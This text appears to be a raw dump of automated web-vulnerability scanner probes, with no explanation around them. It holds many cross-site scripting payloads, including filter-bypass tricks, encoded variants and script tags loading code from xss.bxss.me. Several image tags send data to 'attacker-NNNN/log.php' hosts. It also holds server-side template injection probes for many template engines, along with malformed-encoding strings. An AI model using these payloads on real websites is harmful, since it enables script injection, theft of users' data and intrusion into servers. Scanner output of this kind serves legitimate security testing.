555'"()&%<zzz><ScRiPt >WUWP(9082)</ScRiPt>

5559412491

555'"()&%<zzz><ScRiPt >fgos(9994)</ScRiPt>

'"()&%<zzz><ScRiPt >WUWP(9156)</ScRiPt>

5559266523

bfg5727\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5727

'"()&%<zzz><ScRiPt >fgos(9783)</ScRiPt>

bfg6650\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6650

5559866890

bfgx4129\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4129

5559444149

bfgx9630\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9630

<%={{={@{#{${dfb}}%>

bfg1263\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1263

bfg7720\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7720

<%={{={@{#{${dfb}}%>

555

bfgx10858\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10858

bfgx9291\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9291

<th:t="${dfb}#foreach

555

<%={{={@{#{${dfb}}%>

555

<th:t="${dfb}#foreach

555

<%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

<th:t="${dfb}#foreach

555

555'"()&%<zzz><ScRiPt >Ypam(9871)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555

555

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

dfb{{98991*97996}}xca

'"()&%<zzz><ScRiPt >Ypam(9581)</ScRiPt>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

"}}dfb{{98991*97996}}xca

5559222098

"%}dfb{{98991*97996}}xca

bfg8430\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8430

"}}dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

555

"}dfb{98991*97996}xca

bfgx10275\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10275

dfb{{98991*97996}}xca

"%}dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

"}dfb${98991*97996}xca

555<ScRiPt >QUcD(9436)</ScRiPt>

"}dfb{98991*97996}xca

555

dfb__${98991*97996}__::.x

"}dfb#{98991*97996}xca

555<WKPKHT>ZJMMR[!+!]</WKPKHT>

dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"}dfb${98991*97996}xca

"}dfb{#98991*97996}xca

555<ScRiPt >fgos(9630)</ScRiPt>

dfb{{98991*97996}}xca

555<script>QUcD(9767)</script>

"}dfb#{98991*97996}xca

555<WKB7QO>DL6B4[!+!]</WKB7QO>

555<script>QUcD(9301)</script>9301

dfb{98991*97996}xca

555'"()&%<zzz><ScRiPt >12RY(9498)</ScRiPt>

"}dfb{@98991*97996}xca

dfb${98991*97996}xca

"}}dfb{{=98991*97996}}xca

'"()&%<zzz><ScRiPt >12RY(9822)</ScRiPt>

"}dfb{#98991*97996}xca

555<script>fgos(9449)</script>

555<ScR<ScRiPt>IpT>QUcD(9299)</sCr<ScRiPt>IpT>

")dfb@(98991*97996)xca

"}dfb{@98991*97996}xca

dfb#{98991*97996}xca

555<script>fgos(9531)</script>9531

5559430347

"%>dfb<%=98991*97996%>xca

"}}dfb{{=98991*97996}}xca

555<ScR<ScRiPt>IpT>fgos(9905)</sCr<ScRiPt>IpT>

bfg10691\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10691

555<ScRiPt >QUcD(9767)</ScRiPt>

"}dfb#set($x=98991*97996)${x}xca

dfb{#98991*97996}xca

")dfb@(98991*97996)xca

dfb{@98991*97996}xca

555<ScRiPt >fgos(9461)</ScRiPt>

bfgx4856\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4856

"%>dfb<%=98991*97996%>xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9906></ScRiPt>

"}dfb{{"abc"|title}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9525></ScRiPt>

<%={{={@{#{${dfb}}%>

dfb{{=98991*97996}}xca

"print("dfb" . 98991*97996 . "xca")

"}dfb#set($x=98991*97996)${x}xca

<th:t="${dfb}#foreach

555<ScRiPt >QUcD(9639)</ScRiPt>

dfb@(98991*97996)xca

555<ScRiPt >fgos(9398)</ScRiPt>

"}dfb{{"abc"|title}}xca

"98991*97996*98991*97996

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"print("dfb" . 98991*97996 . "xca")

555<svg  \xa0onload=QUcD(9364)

dfb<%=98991*97996%>xca

555<svg  \xa0onload=fgos(9002)

555<isindex type=image src=1 onerror=fgos(9546)>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555

"98991*97996*98991*97996

555<isindex type=image src=1 onerror=QUcD(9538)>

dfb#set($x=98991*97996)${x}xca

555<iframe src='data:text/html

555<iframe src='data:text/html

dfb{{98991*97996}}xca

"}}}dfb{{{this}}}xca

555<body onload=fgos(9555)>

dfb{{"abc"|title}}xca

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img src=//xss.bxss.me/t/dot.gif onload=fgos(9327)>

dfb[[${98991*97996}]]xca

"}}}dfb{{{this}}}xca

"}#{98991*97996*98991*97996}

print("dfb" . 98991*97996 . "xca")

555<body onload=QUcD(9686)>

555<img src=xyz OnErRor=fgos(9242)>

"}#{98991*97996*98991*97996}

dfb__${98991*97996}__::.x

98991*97996*98991*97996

"}dfb#{xca}=123

555<img/src=">" onerror=alert(9682)>

"}dfb#{xca}=123

555<img src=//xss.bxss.me/t/dot.gif onload=QUcD(9332)>

"}}dfb{{'abcd'.toUpperCase()}}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img src=xyz OnErRor=QUcD(9507)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%66%67%6F%73%289257%29%3C%2F%73%43%72%69%70%54%3E

"}}dfb{{'abcd'.toUpperCase()}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9541)>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555\u003CScRiPt\fgos(9210)\u003C/sCripT\u003E

555<ScRiPt >12RY(9352)</ScRiPt>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb{{{this}}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%51%55%63%44%289904%29%3C%2F%73%43%72%69%70%54%3E

555&lt

555<W9QKPX>2TV1T[!+!]</W9QKPX>

"}}dfb{{98991*97996}}xca

"}}dfb{{98991*97996}}xca

#{98991*97996*98991*97996}

"}dfb[[${98991*97996}]]xca

555\u003CScRiPt\QUcD(9817)\u003C/sCripT\u003E

555<script>12RY(9308)</script>

dfb#{xca}=123

\xf6<img zzz onmouseover=fgos(95101) //\xf6>

"}dfb[[${98991*97996}]]xca

"dfb__${98991*97996}__::.x

dfb{{'abcd'.toUpperCase()}}xca

555<script>12RY(9951)</script>9951

555<input autofocus onfocus=fgos(9029)>

555&lt

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

"dfb__${98991*97996}__::.x

555<ScR<ScRiPt>IpT>12RY(9152)</sCr<ScRiPt>IpT>

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=QUcD(99071) //\xf6>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'}}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555<ScRiPt >12RY(9665)</ScRiPt>

'}}dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

555<input autofocus onfocus=QUcD(9985)>

'%}dfb{{98991*97996}}xca

'%}dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9036></ScRiPt>

'}dfb{98991*97996}xca

'}dfb{98991*97996}xca

555<ScRiPt >12RY(9505)</ScRiPt>

555}body{zzz:Expre/**/SSion(fgos(9364))}

dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

'}dfb${98991*97996}xca

555m2ZLR <ScRiPt >fgos(9471)</ScRiPt>

555<svg  \xa0onload=12RY(9267)

<a HrEF=jaVaScRiPT:>

'}dfb${98991*97996}xca

'}dfb#{98991*97996}xca

555<WHFDBA>WU4X3[!+!]</WHFDBA>

555}body{zzz:Expre/**/SSion(QUcD(9429))}

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'}dfb{#98991*97996}xca

555<isindex type=image src=1 onerror=12RY(9708)>

'}dfb{@98991*97996}xca

'}dfb#{98991*97996}xca

555<ScRiPt >Ypam(9687)</ScRiPt>

555<ifRAme sRc=9320.com></IfRamE>

555<am3BDDy x=9551>

555<WS0DAA>J5DB7[!+!]</WS0DAA>

555<iframe src='data:text/html

555o9mV5 <ScRiPt >QUcD(9364)</ScRiPt>

'}}dfb{{=98991*97996}}xca

'}dfb{#98991*97996}xca

')dfb@(98991*97996)xca

555<script>Ypam(9140)</script>

555<body onload=12RY(9008)>

555<img sRc='http://attacker-9139/log.php?

'%>dfb<%=98991*97996%>xca

555<WKZ1O1>HRC8Z[!+!]</WKZ1O1>

555<aey8DKN<

'}dfb{@98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=12RY(9424)>

555<script>Ypam(9450)</script>9450

'}dfb#set($x=98991*97996)${x}xca

'}dfb{{"abc"|title}}xca

'}}dfb{{=98991*97996}}xca

555<ifRAme sRc=9182.com></IfRamE>

555<ScR<ScRiPt>IpT>Ypam(9523)</sCr<ScRiPt>IpT>

555<ScRiPt >Ypam(9450)</ScRiPt>

555<aqlyZ1J x=9660>

555<img src=xyz OnErRor=12RY(9912)>

')dfb@(98991*97996)xca

'print("dfb" . 98991*97996 . "xca")

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9552></ScRiPt>

555<img sRc='http://attacker-9793/log.php?

555<img/src=">" onerror=alert(9781)>

'98991*97996*98991*97996

555<ScRiPt >Ypam(9821)</ScRiPt>

'%>dfb<%=98991*97996%>xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%31%32%52%59%289644%29%3C%2F%73%43%72%69%70%54%3E

555<svg  \xa0onload=Ypam(9593)

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<a0C1EE1<

'}dfb#set($x=98991*97996)${x}xca

555\u003CScRiPt\12RY(9494)\u003C/sCripT\u003E

'}dfb{{"abc"|title}}xca

'}}}dfb{{{this}}}xca

555<isindex type=image src=1 onerror=Ypam(9652)>

'print("dfb" . 98991*97996 . "xca")

'}#{98991*97996*98991*97996}

555'"()&%<zzz><ScRiPt >Sg37(9572)</ScRiPt>

555<iframe src='data:text/html

555&lt

'98991*97996*98991*97996

555<body onload=Ypam(9078)>

555'"()&%<zzz><ScRiPt >L5eG(9058)</ScRiPt>

'"()&%<zzz><ScRiPt >Sg37(9297)</ScRiPt>

'}dfb#{xca}=123

\xf6<img zzz onmouseover=12RY(99901) //\xf6>

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img src=//xss.bxss.me/t/dot.gif onload=Ypam(9477)>

5559163892

'"()&%<zzz><ScRiPt >L5eG(9439)</ScRiPt>

'}}dfb{{'abcd'.toUpperCase()}}xca

'}}}dfb{{{this}}}xca

555<img src=xyz OnErRor=Ypam(9191)>

555<input autofocus onfocus=12RY(9885)>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

'}#{98991*97996*98991*97996}

555<img/src=">" onerror=alert(9508)>

'}}dfb{{98991*97996}}xca

5559193962

<a HrEF=http://xss.bxss.me></a>

'}dfb#{xca}=123

bfg10978\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10978

'}dfb[[${98991*97996}]]xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%70%61%6D%289874%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\Ypam(9584)\u003C/sCripT\u003E

'dfb__${98991*97996}__::.x

bfg6336\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6336

'}}dfb{{'abcd'.toUpperCase()}}xca

<a HrEF=jaVaScRiPT:>

bfgx4583\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4583

bfgx10629\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10629

555&lt

<%={{={@{#{${dfb}}%>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555}body{zzz:Expre/**/SSion(12RY(9243))}

<%={{={@{#{${dfb}}%>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

'}}dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

\xf6<img zzz onmouseover=Ypam(92431) //\xf6>

555

555km71S <ScRiPt >12RY(9736)</ScRiPt>

1}}dfb{{98991*97996}}xca

555<WUARZV>YBQNW[!+!]</WUARZV>

555<input autofocus onfocus=Ypam(9579)>

'}dfb[[${98991*97996}]]xca

555

<th:t="${dfb}#foreach

555<ifRAme sRc=9309.com></IfRamE>

'dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<aXe3wOT x=9620>

1%}dfb{{98991*97996}}xca

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=jaVaScRiPT:>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9203/log.php?

"}}dfb{{98991*97996}}xca

1}}dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(Ypam(9243))}

555

1}dfb{98991*97996}xca

555<aFTbT2Z<

1}dfb${98991*97996}xca

1%}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555GV9uH <ScRiPt >Ypam(9223)</ScRiPt>

"%}dfb{{98991*97996}}xca

1}dfb{98991*97996}xca

555<WHY5RI>GVFGC[!+!]</WHY5RI>

1}dfb#{98991*97996}xca

dfb[[${98991*97996}]]xca

"}dfb{98991*97996}xca

1}dfb{#98991*97996}xca

555<ifRAme sRc=9011.com></IfRamE>

dfb__${98991*97996}__::.x

1}dfb${98991*97996}xca

1}dfb{@98991*97996}xca

"}dfb${98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<a7HjUkL x=9599>

1}dfb#{98991*97996}xca

1}}dfb{{=98991*97996}}xca

555<img sRc='http://attacker-9566/log.php?

"}dfb#{98991*97996}xca

555<ScRiPt >Sg37(9896)</ScRiPt>

1}dfb{#98991*97996}xca

1)dfb@(98991*97996)xca

555<aQtDXJp<

555<W6DZBD>6BL1Y[!+!]</W6DZBD>

"}dfb{#98991*97996}xca

1}dfb{@98991*97996}xca

555<script>Sg37(9619)</script>

1%>dfb<%=98991*97996%>xca

1}}dfb{{=98991*97996}}xca

555<script>Sg37(9026)</script>9026

1}dfb#set($x=98991*97996)${x}xca

555<ScR<ScRiPt>IpT>Sg37(9621)</sCr<ScRiPt>IpT>

"}dfb{@98991*97996}xca

1)dfb@(98991*97996)xca

"}}dfb{{=98991*97996}}xca

1}dfb{{"abc"|title}}xca

555<ScRiPt >Sg37(9754)</ScRiPt>

")dfb@(98991*97996)xca

1%>dfb<%=98991*97996%>xca

1print("dfb" . 98991*97996 . "xca")

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9233></ScRiPt>

1}dfb#set($x=98991*97996)${x}xca

555<ScRiPt >Sg37(9541)</ScRiPt>

"%>dfb<%=98991*97996%>xca

198991*97996*98991*97996

1}dfb{{"abc"|title}}xca

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<svg  \xa0onload=Sg37(9882)

"}dfb#set($x=98991*97996)${x}xca

555'"()&%<zzz><ScRiPt >sTwe(9030)</ScRiPt>

1}}}dfb{{{this}}}xca

555<isindex type=image src=1 onerror=Sg37(9229)>

1print("dfb" . 98991*97996 . "xca")

'"()&%<zzz><ScRiPt >sTwe(9595)</ScRiPt>

1}#{98991*97996*98991*97996}

"}dfb{{"abc"|title}}xca

555<iframe src='data:text/html

1}dfb#{xca}=123

198991*97996*98991*97996

5559105406

1}}dfb{{'abcd'.toUpperCase()}}xca

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

"print("dfb" . 98991*97996 . "xca")

555<body onload=Sg37(9038)>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

1}}}dfb{{{this}}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=Sg37(9756)>

"98991*97996*98991*97996

bfg2622\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2622

1}#{98991*97996*98991*97996}

1}}dfb{{98991*97996}}xca

bfgx4121\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4121

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

1}dfb#{xca}=123

555<img src=xyz OnErRor=Sg37(9954)>

1}dfb[[${98991*97996}]]xca

<%={{={@{#{${dfb}}%>

555'"()&%<zzz><ScRiPt >bUkg(9515)</ScRiPt>

1dfb__${98991*97996}__::.x

"}}}dfb{{{this}}}xca

555<img/src=">" onerror=alert(9582)>

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}dfb{{'abcd'.toUpperCase()}}xca

555

'"()&%<zzz><ScRiPt >bUkg(9260)</ScRiPt>

555'"()&%<zzz><ScRiPt >STOx(9905)</ScRiPt>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

"}#{98991*97996*98991*97996}

555'"()&%<zzz><ScRiPt >mZQV(9073)</ScRiPt>

<th:t="${dfb}#foreach

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%67%33%37%289022%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >8G5W(9961)</ScRiPt>

555\u003CScRiPt\Sg37(9494)\u003C/sCripT\u003E

555

'"()&%<zzz><ScRiPt >mZQV(9596)</ScRiPt>

1}}dfb{{98991*97996}}xca

"}dfb#{xca}=123

'"()&%<zzz><ScRiPt >STOx(9342)</ScRiPt>

5559426244

1}dfb[[${98991*97996}]]xca

"}}dfb{{'abcd'.toUpperCase()}}xca

555&lt

5559636583

5559074405

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WWQ2CO>CDKQX[!+!]</WWQ2CO>

bfg5169\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5169

\xf6<img zzz onmouseover=Sg37(98241) //\xf6>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555

1dfb__${98991*97996}__::.x

bfg4544\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4544

555<script>8G5W(9264)</script>

bfg9699\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9699

bfgx1499\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1499

bfgx3802\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3802

555<input autofocus onfocus=Sg37(9589)>

"}}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>8G5W(9099)</script>9099

<a HrEF=http://xss.bxss.me></a>

bfgx4327\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4327

<%={{={@{#{${dfb}}%>

"}dfb[[${98991*97996}]]xca

555<ScR<ScRiPt>IpT>8G5W(9764)</sCr<ScRiPt>IpT>

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

555<ScRiPt >WUWP(9771)</ScRiPt>

<%={{={@{#{${dfb}}%>

<a HrEF=jaVaScRiPT:>

"dfb__${98991*97996}__::.x

555

555<ScRiPt >8G5W(9479)</ScRiPt>

555<WF22AB>1ZDAB[!+!]</WF22AB>

dfb__${98991*97996}__::.x

555

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9029></ScRiPt>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(Sg37(9092))}

<th:t="${dfb}#foreach

555<script>WUWP(9185)</script>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >8G5W(9487)</ScRiPt>

<th:t="${dfb}#foreach

555

555<svg  \xa0onload=8G5W(9106)

dfb{{98991*97996}}xca

555<script>WUWP(9353)</script>9353

'}}dfb{{98991*97996}}xca

555<ScRiPt >sTwe(9025)</ScRiPt>

555ypJKw <ScRiPt >Sg37(9474)</ScRiPt>

555

dfb[[${98991*97996}]]xca

'%}dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=8G5W(9198)>

555<WOSGFN>6V1MS[!+!]</WOSGFN>

dfb__${98991*97996}__::.x

'}dfb{98991*97996}xca

555<ScR<ScRiPt>IpT>WUWP(9946)</sCr<ScRiPt>IpT>

dfb{{98991*97996}}xca

555<WWJJLH>MRCI4[!+!]</WWJJLH>

555<iframe src='data:text/html

555<script>sTwe(9232)</script>

555<ifRAme sRc=9404.com></IfRamE>

555<ScRiPt >WUWP(9480)</ScRiPt>

'}dfb${98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9450></ScRiPt>

555<body onload=8G5W(9659)>

dfb{98991*97996}xca

555<aoovbGL x=9536>

555<ScRiPt >STOx(9257)</ScRiPt>

555<script>sTwe(9233)</script>9233

dfb__${98991*97996}__::.x

'}dfb#{98991*97996}xca

555<ScRiPt >WUWP(9848)</ScRiPt>

555<img sRc='http://attacker-9349/log.php?

555<WVFITO>M488O[!+!]</WVFITO>

555<img src=//xss.bxss.me/t/dot.gif onload=8G5W(9491)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb${98991*97996}xca

'}dfb{#98991*97996}xca

555<svg  \xa0onload=WUWP(9349)

555<ScR<ScRiPt>IpT>sTwe(9813)</sCr<ScRiPt>IpT>

dfb#{98991*97996}xca

555<script>STOx(9936)</script>

555<ScRiPt >mZQV(9107)</ScRiPt>

555<aGWFaB7<

555<img src=xyz OnErRor=8G5W(9915)>

555<isindex type=image src=1 onerror=WUWP(9083)>

555<script>STOx(9647)</script>9647

555<ScRiPt >sTwe(9147)</ScRiPt>

555<img/src=">" onerror=alert(9288)>

'}dfb{@98991*97996}xca

dfb{#98991*97996}xca

555<W64WEC>P5W1Z[!+!]</W64WEC>

555<iframe src='data:text/html

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9254></ScRiPt>

555<ScR<ScRiPt>IpT>STOx(9714)</sCr<ScRiPt>IpT>

'}}dfb{{=98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%38%47%35%57%289373%29%3C%2F%73%43%72%69%70%54%3E

dfb{@98991*97996}xca

555<script>mZQV(9044)</script>

555<ScRiPt >STOx(9239)</ScRiPt>

555<body onload=WUWP(9971)>

555<script>mZQV(9347)</script>9347

')dfb@(98991*97996)xca

555<ScRiPt >sTwe(9678)</ScRiPt>

dfb{{=98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=WUWP(9336)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9881></ScRiPt>

555\u003CScRiPt\8G5W(9997)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>mZQV(9618)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=sTwe(9151)

dfb@(98991*97996)xca

555<img src=xyz OnErRor=WUWP(9393)>

555&lt

'%>dfb<%=98991*97996%>xca

555<isindex type=image src=1 onerror=sTwe(9484)>

555<ScRiPt >STOx(9998)</ScRiPt>

555<ScRiPt >mZQV(9126)</ScRiPt>

555<img/src=">" onerror=alert(9453)>

'}dfb#set($x=98991*97996)${x}xca

dfb<%=98991*97996%>xca

555<iframe src='data:text/html

555<svg  \xa0onload=STOx(9415)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9218></ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%57%55%57%50%289640%29%3C%2F%73%43%72%69%70%54%3E

dfb#set($x=98991*97996)${x}xca

'}dfb{{"abc"|title}}xca

\xf6<img zzz onmouseover=8G5W(94211) //\xf6>

555'"()&%<zzz><ScRiPt >MrZF(9269)</ScRiPt>

555<body onload=sTwe(9944)>

555\u003CScRiPt\WUWP(9419)\u003C/sCripT\u003E

555<ScRiPt >mZQV(9924)</ScRiPt>

dfb{{"abc"|title}}xca

555<isindex type=image src=1 onerror=STOx(9098)>

'print("dfb" . 98991*97996 . "xca")

'"()&%<zzz><ScRiPt >MrZF(9806)</ScRiPt>

555<input autofocus onfocus=8G5W(9170)>

555&lt

555<svg  \xa0onload=mZQV(9446)

'98991*97996*98991*97996

555<isindex type=image src=1 onerror=mZQV(9361)>

print("dfb" . 98991*97996 . "xca")

\xf6<img zzz onmouseover=WUWP(98761) //\xf6>

555<img src=//xss.bxss.me/t/dot.gif onload=sTwe(9475)>

<a HrEF=http://xss.bxss.me></a>

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<iframe src='data:text/html

555<img src=xyz OnErRor=sTwe(9290)>

555<iframe src='data:text/html

5559279308

555<body onload=STOx(9824)>

555<input autofocus onfocus=WUWP(9028)>

<a HrEF=jaVaScRiPT:>

'}}}dfb{{{this}}}xca

555<body onload=mZQV(9379)>

555<img src=//xss.bxss.me/t/dot.gif onload=STOx(9185)>

555<img/src=">" onerror=alert(9420)>

555}body{zzz:Expre/**/SSion(8G5W(9176))}

98991*97996*98991*97996

<a HrEF=http://xss.bxss.me></a>

'}#{98991*97996*98991*97996}

555<img src=//xss.bxss.me/t/dot.gif onload=mZQV(9295)>

bfg10398\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10398

555<img src=xyz OnErRor=STOx(9707)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%73%54%77%65%289284%29%3C%2F%73%43%72%69%70%54%3E

555CUwiy <ScRiPt >8G5W(9990)</ScRiPt>

555<img src=xyz OnErRor=mZQV(9994)>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img/src=">" onerror=alert(9559)>

<a HrEF=jaVaScRiPT:>

bfgx9890\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9890

'}dfb#{xca}=123

555\u003CScRiPt\sTwe(9588)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9133)>

555}body{zzz:Expre/**/SSion(WUWP(9423))}

555<WS2HJT>A7LOM[!+!]</WS2HJT>

dfb{{{this}}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%54%4F%78%289184%29%3C%2F%73%43%72%69%70%54%3E

<%={{={@{#{${dfb}}%>

5556obws <ScRiPt >WUWP(9268)</ScRiPt>

555<ifRAme sRc=9800.com></IfRamE>

#{98991*97996*98991*97996}

'}}dfb{{'abcd'.toUpperCase()}}xca

555&lt

%35%35%35%3C%53%63%52%69%50%74%20%3E%6D%5A%51%56%289653%29%3C%2F%73%43%72%69%70%54%3E

555

555<aRSOjMO x=9356>

555<WSYAA9>FXFGB[!+!]</WSYAA9>

\xf6<img zzz onmouseover=sTwe(93851) //\xf6>

dfb#{xca}=123

555\u003CScRiPt\STOx(9453)\u003C/sCripT\u003E

<th:t="${dfb}#foreach

555\u003CScRiPt\mZQV(9098)\u003C/sCripT\u003E

555<input autofocus onfocus=sTwe(9519)>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ifRAme sRc=9248.com></IfRamE>

555<img sRc='http://attacker-9094/log.php?

555&lt

555

555&lt

dfb{{'abcd'.toUpperCase()}}xca

<a HrEF=http://xss.bxss.me></a>

'}}dfb{{98991*97996}}xca

555<a235yVG x=9064>

555<age2hRr<

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

'}dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=STOx(90011) //\xf6>

\xf6<img zzz onmouseover=mZQV(96831) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9466/log.php?

555'"()&%<zzz><ScRiPt >PKGk(9268)</ScRiPt>

dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(sTwe(9170))}

555<input autofocus onfocus=STOx(9132)>

555

'dfb__${98991*97996}__::.x

'"()&%<zzz><ScRiPt >PKGk(9729)</ScRiPt>

555<input autofocus onfocus=mZQV(9704)>

555<a9bq2xq<

5557eild <ScRiPt >sTwe(9932)</ScRiPt>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

